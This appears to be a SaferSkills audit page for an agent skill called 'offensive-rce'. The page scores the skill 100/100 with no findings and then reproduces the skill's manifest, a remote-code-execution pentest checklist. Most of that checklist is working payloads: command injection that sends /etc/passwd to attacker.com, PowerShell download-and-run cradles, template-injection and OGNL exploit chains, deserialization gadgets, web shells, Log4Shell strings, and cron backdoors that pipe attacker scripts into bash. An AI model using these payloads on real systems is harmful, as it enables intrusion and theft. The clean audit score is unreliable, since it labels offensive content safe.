offensive-rce — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited offensive-rce (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Remote Code Execution testing checklist: OS command injection, SSTI-to-RCE, deserialization RCE, file upload RCE, XXE with SSRF to RCE, RCE via dependency confusion, and CVE-based RCE patterns. Use for web app pentests and bug bounty RCE discovery.
Use this skill when the conversation involves any of: RCE, remote code execution, command injection, OS injection, SSTI RCE, deserialization RCE, file upload RCE, XXE RCE, dependency confusion, code execution
When this skill is active:
occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.
whoami, ls, and, sleep 5.This program takes a user input string, pass it through eval() and return the results:
def calculate(input):
return eval("{}".format(input))
result = calculate(user_input.calc)
print("The result is {}.".format(result))an attacker could provide the application with something more malicious instead:
GET /calculator?calc="__import__('os').system('ls')"
Host: example.commaking the target server include a file containing malicious code.
<?php
// Some PHP code
$file = $_GET["page"];
include $file;
// Some PHP code
?>if the application doesn't limit which file the user includes with the page parameter, an attacker can include a malicious PHP file.
<?PHP
system($_GET["cmd"]);
?>and then they can run commands:
http://example.com/?page=http://attacker.com/malicious.php?cmd=lsUntrusted data flows into OS command execution APIs.
Examples:
subprocess.run("ping -c 1 " + user, shell=True) # vulnerable
subprocess.run(["ping", "-c", "1", user], shell=False) # saferDetect via time/delay payloads (&& sleep 5), OAST/DNS callbacks, and out-of-band responses.
User-controlled template strings evaluated by template engines (Jinja2, Twig, Freemarker, Thymeleaf) can lead to RCE.
Probe with arithmetic/concat markers, escalate using engine-specific object graphs. Tools: tplmap.
Deserializing untrusted data (Java, .NET, PHP, Python pickle) can trigger gadget chains to RCE.
Test with known gadget payloads (e.g., ysoserial, marshalsec), and observe blind effects via OAST.
Loading YAML with object constructors (yaml.load vs safe_load) can lead to code execution.
Upload parsers (ImageMagick, ExifTool, video transcoders) may execute/parse complex formats leading to RCE. Test with harmless PoCs and OAST.
Map all user-controlled input that could lead to code execution:
#### Command Injection Payloads
Linux/Unix:
# Basic injection
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)
# Time-based detection
; sleep 10
| sleep 10 &
|| ping -c 10 127.0.0.1
# Out-of-band (OAST)
; nslookup $(whoami).attacker.com
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/?data=$(cat /etc/passwd | base64)
# Space bypasses
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
X=$'cat\x20/etc/passwd'&&$X
# Command obfuscation
c''at /etc/passwd
c\at /etc/passwd
c"a"t /etc/passwd
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)
# Wildcard injection
/???/??t /???/??ss??
/???/n? 127.0.0.1
# Variable expansion
a=w;b=hoami;$a$bWindows:
# Basic injection
& whoami
&& whoami
| whoami
|| whoami
; whoami
# Newline injection
%0a whoami
# Time-based
| ping -n 10 127.0.0.1
& timeout /t 10
# OAST
& nslookup %USERNAME%.attacker.com
& certutil -urlcache -split -f http://attacker.com/beacon
# PowerShell execution
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"#### Server-Side Template Injection (SSTI) Payloads
Jinja2 (Python - Flask, Ansible):
# Detection
{{7*7}} # Returns 49
{{7*'7'}} # Returns 7777777
# Reconnaissance
{{config}}
{{config.items()}}
{{self}}
{%debug%}
# RCE via __subclasses__
{{''.__class__.__mro__[1].__subclasses__()}}
# Find useful classes
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}
# subprocess.Popen
{{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()}}
# Modern bypass (Python 3)
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
# Lipsum object abuse
{{lipsum.__globals__['os'].popen('whoami').read()}}
# Cycler object
{{cycler.__init__.__globals__.os.popen('whoami').read()}}Twig (PHP - Symfony):
# Detection
{{7*7}}
# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
# Alternative
{{_self.env.enableDebug()}}
{{_self.env.isDebug()}}
# PHP filter chain (modern)
{{["id"]|filter("system")}}Freemarker (Java):
# Detection
${7*7}
# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("whoami")}
# Alternative
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("java.lang.Runtime")>
<#assign method=clazz.getMethod("getRuntime",null)>
<#assign runtime=method.invoke(null,null)>
<#assign method=clazz.getMethod("exec",classLoader.loadClass("java.lang.String"))>
${method.invoke(runtime,"whoami")}Thymeleaf (Java - Spring):
# Detection
[[${7*7}]]
# RCE
${T(java.lang.Runtime).getRuntime().exec('whoami')}
[[${T(java.lang.Runtime).getRuntime().exec('whoami')}]]
# Spring EL alternative
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}ERB (Ruby - Rails):
# Detection
<%= 7*7 %>
# RCE
<%= system("whoami") %>
<%= `whoami` %>
<%= IO.popen('whoami').readlines() %>
<%= %x(whoami) %>Velocity (Java):
# Detection
#set($x = 7 * 7)$x
# RCE
#set($rt = $class.forName("java.lang.Runtime"))
#set($chr = $class.forName("java.lang.Character"))
#set($str = $class.forName("java.lang.String"))
#set($ex=$rt.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$chr.toString($out.read())
#endHandlebars (JavaScript/Node.js):
# Detection
{{7*7}}
# RCE (if helper is vulnerable)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}#### Expression Language (EL) Injection
Spring SpEL (Spring Framework):
# Detection
${7*7}
#{7*7}
# RCE
${T(java.lang.Runtime).getRuntime().exec('whoami')}
#{T(java.lang.Runtime).getRuntime().exec('whoami')}
# Alternative methods
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}
# Bypass blacklist
${T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"whoami"})}OGNL (Object-Graph Navigation Language - Struts):
# Detection
${7*7}
# RCE
${@java.lang.Runtime@getRuntime().exec('whoami')}
# CVE-2017-5638 (Content-Type exploitation)
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}MVEL (MVFLEX Expression Language):
# Detection
${7*7}
# RCE
Runtime.getRuntime().exec("whoami");#### Deserialization Payloads
Java (using ysoserial):
# Generate payload
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/beacon' | base64
# Popular gadget chains
ysoserial CommonsCollections1
ysoserial CommonsCollections6
ysoserial CommonsCollections7
ysoserial Spring1
ysoserial Spring2
ysoserial Jdk7u21
ysoserial Hibernate1.NET (using ysoserial.net):
# Generate payload
ysoserial.exe -g ObjectDataProvider -f Json -c "calc.exe"
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell.exe -c whoami"
# Gadgets
TypeConfuseDelegate
ObjectDataProvider
PSObject
WindowsIdentityPython pickle:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))PHP serialize:
# Magic methods for exploitation
__wakeup()
__destruct()
__toString()
# Example payload
O:8:"stdClass":1:{s:4:"file";s:17:"/etc/passwd";}#### Blind RCE Detection
Time-Based:
# Linux
; sleep 10
| ping -c 10 127.0.0.1
| timeout 10
# Windows
| ping -n 10 127.0.0.1
& timeout /t 10Out-of-Band (OAST) using Burp Collaborator:
# DNS exfiltration
; nslookup $(whoami).burpcollaborator.net
; dig $(whoami).burpcollaborator.net
# HTTP callback
; curl http://burpcollaborator.net
; wget http://burpcollaborator.net/$(whoami)
# DNS with data exfiltration
; cat /etc/passwd | base64 | xargs -I {} nslookup {}.burpcollaborator.net#### Bypass Techniques
Blacklist Bypasses:
# Case variation
WhOaMi
wH%6f%61%6Di
# Encoding
wh\u006fami
wh\x6fami
echo "d2hvYW1p" | base64 -d | sh
# Line continuation
wh\
oami
# Comments (bash)
wh#comment
oami
# Null byte (legacy)
whoami%00.jpgWAF Bypasses:
# Unicode/encoding
wh\u006fami
# Hex encoding
\x77\x68\x6f\x61\x6d\x69
# Concatenation
'wh'+'oami'
"wh"+"oami"
# Variable expansion
a=w;b=hoami;$a$bExecute harmless commands to prove RCE without causing damage:
# Safe verification commands
whoami
id
pwd
hostname
uname -a
cat /etc/issue
systeminfo (Windows)
# Create proof file
echo "pwned_by_researcher" > /tmp/proof.txt
# Time-based confirmation
sleep 10 && curl http://attacker.com/confirmedPractical Tactics:
#### 1. Web Shell Upload
PHP Web Shells:
# Minimal shell
<?php system($_GET['c']); ?>
# Bypass extension filters
shell.php.jpg
shell.php%00.jpg # Null byte (PHP <5.3)
shell.php%0a.jpg # Newline
shell.php..... # Multiple dots
shell.pHp # Case variation
shell.php%20 # Trailing space
shell.php::$DATA # Windows NTFS ADS
shell.php/ # Trailing slash (IIS)
# Content-Type manipulation
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
# Polyglot files (valid image + PHP)
GIF89a<?php system($_GET['c']); ?>ASP/ASPX Shells:
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start("cmd.exe", "/c " + Request["c"]); %>JSP Shells:
<% Runtime.getRuntime().exec(request.getParameter("c")); %>#### 2. .htaccess / web.config Injection
.htaccess to enable PHP in images:
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg
# Alternative
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>web.config to enable ASP in images:
<configuration>
<system.webServer>
<handlers>
<add name="jpg" path="*.jpg" verb="*" type="System.Web.UI.PageHandlerFactory" />
</handlers>
</system.webServer>
</configuration>#### 3. Archive Extraction (Zip Slip - CVE-2018-1002200)
# Create malicious zip with path traversal
ln -s ../../../../../../../etc/cron.d/evil evil.txt
zip --symlinks evil.zip evil.txt
# Or craft manually with path traversal
evil/
../../../../var/www/html/shell.php
../../../../etc/cron.d/backdoorTesting:
../#### 4. ImageMagick Exploits
ImageTragick (CVE-2016-3714):
push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com/shell.jpg"|whoami")'
pop graphic-contextModern ImageMagick RCE (CVE-2022-44268):
# Arbitrary file read
convert -size 1x1 xc:red -set "profile:1" "/etc/passwd" exploit.png
# Exploitation
convert exploit.png output.png
identify -verbose output.png | grep "Raw profile type"Other ImageMagick vectors:
#### 5. PDF Processing RCE
PDF with JavaScript:
app.alert({ cMsg: "XSS", cTitle: "XSS" });
// File system access (if enabled)
this.exportDataObject({ cName: "test", nLaunch: 2 });LaTeX Injection:
\documentclass{article}
\immediate\write18{whoami}
\begin{document}
Hello World
\end{document}
# Alternative
\input{|"whoami"}XSL-FO Injection (Apache FOP):
<fo:instream-foreign-object>
<svg:svg>
<svg:script>java.lang.Runtime.getRuntime().exec("whoami")</svg:script>
</svg:svg>
</fo:instream-foreign-object>#### 6. Office Document Processing
XXE in DOCX/XLSX:
# Extract document1.xml from DOCX
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<document>&xxe;</document>Macro-enabled Documents:
LibreOffice/OpenOffice Exploits:
Basic Payloads:
${jndi:ldap://attacker.com/a}
${jndi:rmi://attacker.com/a}
${jndi:dns://attacker.com/a}
# Common injection points
User-Agent: ${jndi:ldap://attacker.com/a}
X-Api-Version: ${jndi:ldap://attacker.com/a}
Referer: ${jndi:ldap://attacker.com/a}Obfuscation Bypasses:
# Lowercase/uppercase
${${lower:j}ndi:ldap://attacker.com/a}
${${upper:j}ndi:ldap://attacker.com/a}
# Environment variables
${j${env:NOTHING:-n}di:ldap://attacker.com/a}
# Nested lookups
${jnd${sys:java.version:-i}:ldap://attacker.com/a}
# Multiple levels
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}Setup LDAP server for exploitation:
# Using marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
# Exploit.java - compile and host
public class Exploit {
static {
try {
Runtime.getRuntime().exec("curl http://attacker.com/pwned");
} catch (Exception e) {}
}
}Pollute Object prototype:
// Via JSON
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
// Via query parameters
?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=trueEscalate to RCE:
// Pollute child_process options
{
"__proto__": {
"shell": "/bin/sh",
"argv0": "console.log(require('child_process').execSync('whoami').toString())//"
}
}
// Pollute via NODE_OPTIONS
{"__proto__": {"NODE_OPTIONS": "--require /tmp/malicious.js"}}
// CVE-2022-21824 - Prototype pollution in VM moduleFFmpeg SSRF (CVE-2016-1897, CVE-2016-1898):
# Playlist SSRF
concat:http://attacker.com/playlist|file:///etc/passwd
# HLS SSRF
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://internal.server/adminExifTool RCE (CVE-2021-22204):
# Create malicious image with DjVu exploit
exiftool -config exploit.config '-HasselbladExif<=exploit.jpg' malicious.jpgMySQL:
-- Write web shell
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- Read file
LOAD_FILE('/etc/passwd');
-- UDF exploitation
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('whoami');PostgreSQL:
-- COPY TO PROGRAM (9.3+)
COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/beacon';
-- Large Object + lo_export
SELECT lo_create(-1);
INSERT INTO pg_largeobject VALUES (-1, 0, decode('<?php system($_GET["c"]); ?>', 'base64'));
SELECT lo_export(-1, '/var/www/html/shell.php');MSSQL:
-- xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- OLE Automation
EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd /c whoami';Docker Socket Exposure:
# If /var/run/docker.sock is mounted
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host shPrivileged Container:
# From privileged container
mkdir /tmp/exploit
mount /dev/sda1 /tmp/exploit
chroot /tmp/exploit shKernel Exploits:
# Overwrite SSH authorized_keys
PUT /upload?path=../../.ssh/authorized_keys
# Overwrite cron job
PUT /upload?path=../../etc/cron.d/backdoor
Content: * * * * * root curl http://attacker.com/shell.sh | bash
# Overwrite bash profile
PUT /upload?path=../../.bashrc
# Overwrite PHP auto-prepend
PUT /upload?path=../../.user.ini
Content: auto_prepend_file=/tmp/shell.php# SSRF to cloud metadata → IAM creds
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSRF to internal admin → RCE
http://internal:8080/admin/exec?cmd=whoami
# SSRF to Redis → cron job
http://localhost:6379
CONFIG SET dir /etc/cron.d/
CONFIG SET dbfilename root
SET 1 "* * * * * root curl http://attacker.com/shell.sh | bash"
SAVE# XXE + PHP expect wrapper
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<root>&xxe;</root>
# XXE + JAR protocol (Java)
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "jar:http://attacker.com/malicious.jar!/payload.class">
]># Jinja2 write web shell
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/shell.php','w').write('<?php system($_GET["c"]); ?>')}}Avoid inserting user input into code that gets evaluated. Also treat user uploaded files as untrusted, and avoid including file based on user input.
eval, exec, Function, subprocess.shell=True, Runtime.exec() where possibleshell=False); escape+allowlist argumentspickle, marshal, native object graphsnpm audit, pip-audit, OWASP Dependency-Checklog4j2.formatMsgNoLookups=truetplmap, SSTImapysoserial, ysoserial.net, marshalseccommixnuclei templates, jaeles signatures~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.